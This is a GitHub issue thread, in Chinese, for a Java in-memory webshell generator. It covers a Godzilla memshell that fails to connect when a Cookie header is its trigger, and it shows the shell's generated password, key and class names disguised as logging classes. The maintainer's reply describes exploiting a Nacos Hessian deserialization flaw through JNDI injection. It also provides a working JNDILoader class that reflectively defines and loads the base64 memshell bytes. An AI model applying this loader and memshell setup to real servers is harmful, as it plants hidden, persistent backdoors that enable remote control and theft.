pen4uin / java-memshell-generator

一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.
1.7k stars 189 forks source link

[Bug] Godzilla 使用请求头 Cookie 作为内存马的判断标志时,连接失败 #3

Closed pen4uin closed 1 year ago

pen4uin commented 1 year ago

在复现 Nacos Jraft Hessian 反序列化漏洞时发现的问题。

0x01 问题重现

Godzilla Tomcat Listener BASE64 MemShell Generating...  
------------------------------------------------------------------------------------------------
使用说明
   加密器: JAVA_AES_BASE64
   地址: /*
   密码: Rmfyfbaepvfhsrh
   密钥: Qdotovtvsxggfblx
   请求头: Cookie:Rldxrdti
   内存马类名: org.apache.logging.WebSocketUpgradeEucwlListener
   注入器类名: org.apache.logging.pyyh.MathUtil
------------------------------------------------------------------------------------------------
image-20230611173117730

内存马生效后响应包会出现 Set-Cookie, 此时 client 的 Cookie 被覆盖为 JSESSIONID=E091B15781570B0C6811455D509CCE32

此时会携带该 cookie 进行访问,可以发现 cookie 没有携带内存马需要的标志 Cookie:Rldxrdti,于是无法进入内存马的处理逻辑,导致连接失败。

image-20230611173501802

携带 Rldxrdti 后则可正常连接

image-20230611173627120

0x02 解决方案

image

0x03 连接成功

请求头 User-Agent 作为判断标志

image
savior-only commented 1 year ago

大佬,我想知道打入时路径和body是怎么来的,,打入的时候路径是/nacos/任意吗,打入的时候body跟工具base64生成的不一样,是经过什么转换操作了吗?

图片
pen4uin commented 1 year ago

大佬,我想知道打入时路径和body是怎么来的,,打入的时候路径是/nacos/任意吗,打入的时候body跟工具base64生成的不一样,是经过什么转换操作了吗?

图片

1、你截图中的流量不是 nacos 漏洞利用的流量,而是哥斯拉的通信流量,与漏洞无关

2、jMG 是给各种代码执行漏洞提供内存马注入的辅助工具,而不是利用工具;不同的漏洞有不同的方式,所以你需要自行了解漏洞原理,详见:https://y4er.com/posts/nacos-hessian-rce/

3、案例所采用的利用方式是JNDI注入,所以需要考虑类加载器的问题;这里提供JNDI注入的 Loader 模板:

import sun.misc.BASE64Decoder;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class JNDILoader {
    public JNDILoader() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, IOException, ClassNotFoundException {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        byte[] clazzByte = (new BASE64Decoder()).decodeBuffer("[jMG 生成的BASE64格式的数据]");
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
        defineClass.setAccessible(true);
        Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
        classLoader.loadClass(clazz.getName()).newInstance();
    }
}